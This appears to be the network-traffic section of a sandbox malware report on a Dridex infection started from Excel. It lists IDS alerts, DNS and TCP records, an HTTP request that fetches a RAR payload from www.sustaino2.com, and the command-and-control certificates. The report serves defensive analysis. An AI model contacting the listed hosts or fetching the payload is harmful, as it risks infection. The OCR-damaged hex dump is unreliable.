01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49388 5.100.228.233 192.168.2.22
16:35:31.140349

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49390 77.220.64.37 192.168.2.22
16:35:32.161517

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49391 80.86.91.27  192.168.2.22
16:35:32.675151

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49392 5.100.228.233 192.168.2.22
16:35:33.189373

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49392 5.100.228.233 192.168.2.22
16:35:33.189373

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49394  77.220.64.37 192.168.2.22
16:35:34.214788

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49395 80.86.91.27  192.168.2.22
16:35:34.749607

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49396 5.100.228.233 192.168.2.22
16:35:35.260406

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49396 5.100.228.233 192.168.2.22
16:35:35.260406

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49398  77.220.64.37 192.168.2.22
16:35:36.323626

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49399 80.86.91.27  192.168.2.22
16:35:36.857069

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49400 5.100.228.233 192.168.2.22
16:35:37.370202

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49400 5.100.228.233 192.168.2.22
16:35:37.370202

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49402  77.220.64.37 192.168.2.22
16:35:38.403123

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49403 80.86.91.27  192.168.2.22
16:35:38.982861

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49404 5.100.228.233 192.168.2.22
16:35:39.487369

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49404 5.100.228.233 192.168.2.22
16:35:39.487369

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49406 77.220.64.37 192.168.2.22
16:35:40.514706

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49407 80.86.91.27  192.168.2.22
16:35:41.034849
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Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49408 5.100.228.233 192.168.2.22
16:35:41.548950

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49408 5.100.228.233 192.168.2.22
16:35:41.548950

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49410 77.220.64.37 192.168.2.22
16:35:42.583786

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49411 80.86.91.27  192.168.2.22
16:35:43.097619

01/11/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49412 5.100.228.233 192.168.2.22

16:35:43.613890

01/11/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49412  5.100.228.233 192.168.2.22
16:35:43.613890

Network Port Distribution

Total Packets: 56

® 53 (DNS)
® 80 (HTTP)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 11, 2021 16:33:14.755270958 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:14.967978954 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:14.968111992 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:14.969628096 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.181149006 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.194456100 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.194693089 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.196090937 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.196229935 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.198546886 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.198667049 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.201373100 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.201487064 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.203788042 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.203886032 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.204046965 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.204130888 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.204211950 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.204282999 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.204433918 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.204511881 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.208348036 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.208524942 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.208561897 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.208647966 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.217252970 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.411117077 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.411189079 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.411295891 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.411376953 CET 49165 80 192.168.2.22 43.255.154.9
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 11, 2021 16:33:15.411761045 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.411794901 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.411818981 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.411839962 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.417922020 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.417989969 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.418184042 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.418237925 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.418437004 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.418483019 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.418654919 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.418700933 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.423588991 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.423671961 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.423763037 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.423825026 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.424015999 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.424061060 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.424225092 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.424279928 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.430145025 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.430197001 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.430305958 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.430356026 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.430592060 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.430665016 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.430727959 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.430773973 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.434377909 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.434448957 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.434514999 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.434566021 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.629838943 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.629888058 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.630086899 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.630146027 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.630188942 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.630352974 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.630389929 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.630474091 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.898062944 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.898096085 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.898257017 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.898355007 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.898430109 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.898494005 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.898562908 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.958184958 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.958241940 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.958383083 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.958450079 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.958493948 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:15.958530903 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:15.958645105 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:16.018894911 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:16.019042015 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:16.019123077 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:16.019160986 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:16.019203901 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:16.019278049 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:16.019370079 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:16.019494057 CET 49165 80 192.168.2.22 43.255.154.9
Jan 11, 2021 16:33:16.074196100 CET 80 49165 43.255.154.9 192.168.2.22
Jan 11, 2021 16:33:16.074238062 CET 80 49165 43.255.154.9 192.168.2.22
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Timestamp

Jan 11, 2021 16:33:16.074438095 CET
Jan 11, 2021 16:33:16.133677006 CET
Jan 11, 2021 16:33:16.133711100 CET
Jan 11, 2021 16:33:16.133893967 CET
Jan 11, 2021 16:33:16.133933067 CET
Jan 11, 2021 16:33:16.134011030 CET

UDP Packets

Timestamp

Jan 11, 2021 16:33:14.631871939 CET
Jan 11, 2021 16:33:14.693337917 CET
Jan 11, 2021 16:33:29.579262018 CET
Jan 11, 2021 16:33:29.627326012 CET
Jan 11, 2021 16:33:29.637326956 CET
Jan 11, 2021 16:33:29.693609953 CET
Jan 11, 2021 16:34:07.072081089 CET
Jan 11, 2021 16:34:07.120044947 CET
Jan 11, 2021 16:34:07.140444040 CET
Jan 11, 2021 16:34:07.188308954 CET
Jan 11, 2021 16:34:08.299901009 CET
Jan 11, 2021 16:34:08.356169939 CET
Jan 11, 2021 16:34:08.372248888 CET
Jan 11, 2021 16:34:08.428550005 CET

DNS Queries

Timestamp

Jan 11, 2021 16:33:14.631871939 CET

DNS Answers

Timestamp Source IP Dest IP

Jan 11, 2021 8.8.8.8 192.168.2.22
16:33:14.693337917
CET

Jan 11, 2021 8.8.8.8 192.168.2.22
16:33:14.693337917
CET

Jan 11, 2021 8.8.8.8 192.168.2.22
16:34:08.356169939
CET

Jan 11, 2021 8.8.8.8 192.168.2.22
16:34:08.356169939
CET

Jan 11, 2021 8.8.8.8 192.168.2.22
16:34:08.428550005
CET

Jan 11, 2021 8.8.8.8 192.168.2.22
16:34:08.428550005
CET

HTTP Request Dependency Graph

® www.sustaino2.com

HTTP Packets

Source IP

192.168.2.22

Trans |

0x26d4

0x26d4

0x1786

0x1786

Oxla8

Oxla8

Session ID Source IP Source Port

0 192.168.2.22 49165

kBytes

Timestamp transferred Direction

Copyright null 2021

D

Destination IP

Source Port
49165

80

80

49165

80

49165

Source Port
52197
53
53099
53
52838
53
61200
53
49548
53
55627
53
56009
53

Dest IP
8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

43.255.154.9 80

Data

Dest Port
80

49165
49165

80

49165

80

Dest Port
53
52197
53
53099
53
52838
53
61200
53
49548
53
55627
53
56009

Trans ID

0x26d4

Name

www.sustai
no2.com

sustaino2.com

cdn.digice
rtcdn.com

cdn.digice
rtcdn.com

cdn.digice
rtcdn.com

cdn.digice
rtcdn.com

Destination Port Process

Source IP

192.168.2.22
43.255.154.9
43.255.154.9
192.168.2.22
43.255.154.9
192.168.2.22

Source IP
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8

OP Code

Standard query
(0)

CName

sustaino2.com

Name

www.sustai
no2.com

Address

43.255.154.9

104.18.10.39

104.18.11.39

104.18.10.39

104.18.11.39

Dest IP

43.255.154.9
192.168.2.22
192.168.2.22
43.255.154.9
192.168.2.22
43.255.154.9

Dest IP
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22

Type
A (IP address)

Type

CNAME

(Canonical name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Class

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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kBytes

Timestamp transferred Direction Data
Jan 11, 2021 0 ouT GET /qOig4v.rar HTTP/1.1
16:33:14.969628096 CET Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.sustaino2.com
Connection: Keep-Alive
Jan 11, 2021 2 IN HTTP/1.1 200 OK
16:33:15.194456100 CET Date: Mon, 11 Jan 2021 15:33:15 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Thu, 12 Nov 2020 10:28:51 GMT
ETag: "b7c29ba-4de00-5b3e660c61ecO-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Keep-Alive: timeout=5
Transfer-Encoding: chunked
Content-Type: application/x-rar-compressed
Data Raw: 31 66 61 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 ec fd 09 54 14 47 f8 37 0a 57 37 20 20 e8 a0 82 83 82 4a 98
d6 51 d9 66 c1 2d 68 44 c1 2d a0 8e 20 Oc Oa 2a ca 32 e3 88 42 60 88 Ob 28 18 86 28 36 13 8d 82 a3 42 dc 50 31 6e 80
a0 22 a8 e0 8a 06 14 c4 65 8c 90 48 dc a6 15 17 a2 c6 5d fa 3e 35 83 c9 4c fe ef 7b ef 7 9d 73 bf 73 ef 39 5f f0 3¢ f6 d3
55 d5 bf ae ae 7a ea a9 5f 55 57 d7 4c 9e b9 Oe 99 21 84 cc 41 58 16 al 72 64 8 f3 45 ff d7 7f e9 20 5d fb 55 74 45 65 d6
97 bf 28 27 02 2f 7f 31 5d 3e 3f ¢9 25 21 31 5e 96 38 77 al 4b d4 dc 45 8b e2 95 2e f3 62 5¢ 12 93 17 b9 cc 5f e4 e2 3f 35
d8 65 61 7c 74 8¢ 67 97 2e 9d a9 Oe Oc c9 38 84 02 09 6b b4 6a e6 c7 39 9f 71 5b 50 d7 2f 6¢ 08 52 84 96 41 ae 22 0d 61
0d 03 e0 3f bb bf 33 66 a7 d7 49 43 be 11 fa e7 88 7c 2d fe 3e 21 3b 92 ea d3 fe 7d fc fb a0 ff db f4 1d 42 d9 7a cd 02 a5
7a fe 2f 1e 52 60 81 06 5a ff 7f 50 18 ff fa 2b fe 1e 70 cd fe {7 f1 9e ca 98 25 4a 38 be a0 3a 32 84 9f cf dc 34 8d Ob 3c bd
67 62 f4 5¢c e5 5¢ 84 fe c0 01 be ¢8 f0 50 83 4d d3 41 b0 af 21 9d 18 dd c2 7 94 74 60 b9 ff 2f d2 89 Oc 7a 67 fc 5f 64 07
9e e0 7f 87 27 32 a4 4b e8 48 27 fa 5f a4 33 64 0f 4d 74 42 06 83 70 06 f1 fe 1f e9 aa f5 cf Ob el 75 41 90 b1l ed 10 38 dd
dc 90 4f d3 e7 85 fb 26 25 46 81 6e a8 Ob Ob 43 de 76 99 16 8c 21 7f 31 71 f1 90 50 5f 37 50 47 fa 8c 5e ff 1f €9 c6 a2 ff fe
fe 4f ff 42 e8 27 d3 42 €9 71 b6 59 e3 3e d2 5d ec f2 90 5d d6 64 2b 79 44 37 84 14 88 75 50 a6 23 3b 3a e4 a3 ba 8c 8c
dd d1 09 99 04 9b b5 d1 e3 ac cc 04 f4 64 ab 2c 21 1d 62 45 93 1e 38 09 3e 25 66 d3 0f 66 9d ad eb f8 c3 f8 3b aa b7 00
2e dc 20 e6 63 18 cd ec 68 86 33 c9 8e 32 fc 3f dd 8 ff d5 3f 87 72 b8 88 bd fb 6f fc 9a 71 1f ff ac 40 08 32 44 fb 4a 8c 23
0d f1 ff 3e 9f b6 83 01 18 7ae2 c7 ac c9 1f el e9 b2 1c f6 e2 53 c8 1e be 12 e2 f1 23 d6 ad 46 76 ff 1d ff 3b fe 77 fc ef {8 df
1 bf e3 7f c7 ff 8e ff 1d ff 3b fe 77 fc ef {8 df f1 bf e3 7f c7 ff ff 39 ca 9d ed 10 a8 0d a0 b2 Oe c5 df 23 bb 8c b7 9d 94 e4 e5
61 fa 79 85 10 fa c9 Oe 3c 7f 50 60 9f 07 29 97 a4 c3 7f ab d3 71 c2 32 48 28 61 1d ca el 50 e0 08 71 e5 be 08 21 c9 71
3c 9f 35 8d 1d 82 53 b3 43 5e el €9 8c 21 38 76 06 dd 05 1f e8 ea ff ab 7f f2 63 5f 20 bb 69 67 Ob 9c 71 ea 2e 8 ff ac 2e
4f f0 fc 85 7e 16 23 cb el 00 fc 5f 63 81 e7 49 4e 1d 40 68 07 56 68 7d 02 75 Oe b1 bd ca Oc 65 €9 e7 50 f4 el 1le 38 45
81 fe 14 e3 18 a6 49 e0 79 32 9e d8 ee 48 c8 c2 33 36 af 6a c6 bd cd c1 73 40 93 df 5e 20 f2 e9 90 b7 9c a3 64 06 23 86
d3 d504 9c 5d 18 4b ec a0 c7 41 e0 44 22 e3 91 18 02 56 7f 4d c0 f9 05 5f b2 10 92 70 8e 4e 23 33 1e 8b 21 60 b5 84 c4
08 63 cc 36 €9 21 c6 9a 75 60 8c 31 d3 83 98 ef 36 80 98 7f 06 31 d7 83 58 6¢ 36 80 58 7c 06 b1 dO 83 74 ca 31 80 74 fa
Oc d2 49 0f 62 b9 d1 00 62 f9 19 c4 52 0f 62 b5 ¢9 00 62 5 19 c4 4a 0f 62 bd d6 00 62 fd 19 c4 5a 0f d2 f9 90 01 a4 f3 67
90 ce 7a 10 9b 5¢c 03 88 cd 67 10 1b 3d 88 6d b4 01
Data Ascii: 1faaTG7W7 JQf-hD- *2B’((6BP1n"eH]>5L{ss9_<Uz_UWL!AXrdE JUtEe(/1]>?%!1"8WKE.b\_?5ealtg.8kj9q[P/IR
A"a?3fIC|->1;}Bzz/R ZP+p%J8:24<gb\PMAIt /zg_d'2KH'_3dMtBpuABO&%FNnCV!1qP_7PG OB'BqY>]|d+yD7uP#;:d,!b
E8>%ff;. ch32?2?roq@2DJ#>zS#Fv;w;w9#ay<P )q2H(aPq!q<5SCN8vc_ igg..O~#_cIN@hVh}ueP8Ely2H36js@” d#]KAD
"VM_pN#3!'c6!u’161XI6X|t1tIbbRbbIbbZgz\g=m
HTTPS Packets
Source Not Not JA3 SSL Client
Timestamp Source IP Port Dest IP Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Jan 11, 2021 77.220.64.37 443 192.168.2.22 49166 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192-49191- eb88d0b3e1961a0562f00
16:33:28.859792948 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24 49172-49171-159- 6e5ce2a0b87
CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 158-57-51-157-
CET CEST 156-61-60-53-47-
2020 2021 49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0
Jan 11, 2021 77.220.64.37 443 192.168.2.22 49171 CN=Ixwe6ststa.run, CN=Ixwe6ststa.run, Sun Nov Mon 771,49192-49191- eb88d0b3e1961a0562f00
16:33:32.898298979 O=Nelalia Co., L=Kigali, O=Nelalia Co., 22 May 24 49172-49171-159- 6e5ce2a0b87
CET C=RW L=Kigali, C=RW 23:47:21 00:47:21 158-57-51-157-
CET CEST 156-61-60-53-47-
2020 2021 49196-49195-

Copyright null 2021

49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-283-
65281,23-24,0
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Source

Timestamp Source IP Port

Jan 11, 2021
16:33:34.956118107
CET

77.220.64.37 443

Jan 11, 2021 77.220.64.37 443
16:33:38.860369921

CET

Jan 11, 2021
16:33:40.921252012
CET

77.220.64.37 443

Jan 11, 2021
16:33:42.990880013
CET

77.220.64.37 443

Jan 11, 2021
16:33:45.095185041
CET

77.220.64.37 443

Jan 11, 2021
16:33:47.174613953
CET

77.220.64.37 443

Jan 11, 2021
16:33:49.231168032
CET

77.220.64.37 443

Jan 11, 2021
16:33:51.330545902
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49175 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49179 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49183 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49187 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49191 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49195 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49199 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49203 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

Issuer

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

CN=Ixwe6ststa.run,
O=Nelalia Co.,
L=Kigali, C=RW

Not
Before

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Sun Nov
22
23:47:21
CET
2020

Not
After

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

Mon
May 24
00:47:21
CEST
2021

JA3 SSL Client
Fingerprint

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

771,49192-49191-
49172-49171-159-
158-57-51-157-
156-61-60-53-47-
49196-49195-
49188-49187-
49162-49161-106-
64-56-50-10-19,10-
11-13-23-
65281,23-24,0

JA3 SSL Client Digest

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87

eb88d0b3e1961a0562f00
6e5ce2a0b87
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Source

Timestamp Source IP Port

Jan 11, 2021
16:33:53.365973949
CET

77.220.64.37 443

Jan 11, 2021 77.220.64.37 443
16:33:57.129707098

CET

Jan 11, 2021
16:33:59.264008045
CET

77.220.64.37 443

Jan 11, 2021
16:34:01.389954090
CET

77.220.64.37 443

Jan 11, 2021
16:34:03.496864080
CET

77.220.64.37 443

Jan 11, 2021
16:34:05.906018019
CET

77.220.64.37 443

Jan 11, 2021
16:34:07.954513073
CET

77.220.64.37 443

Jan 11, 2021
16:34:10.173091888
CET

77.220.64.37 443

Copyright null 2021

Dest

Dest IP Port  Subject

192.168.2.22 49207 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,

C=RW

192.168.2.22 49211 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49215 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49219 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49223 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

192.168.2.22 49227 CN=Ixwe6ststa.run,
O=Nelalia Co., L=Kigali,
C=RW

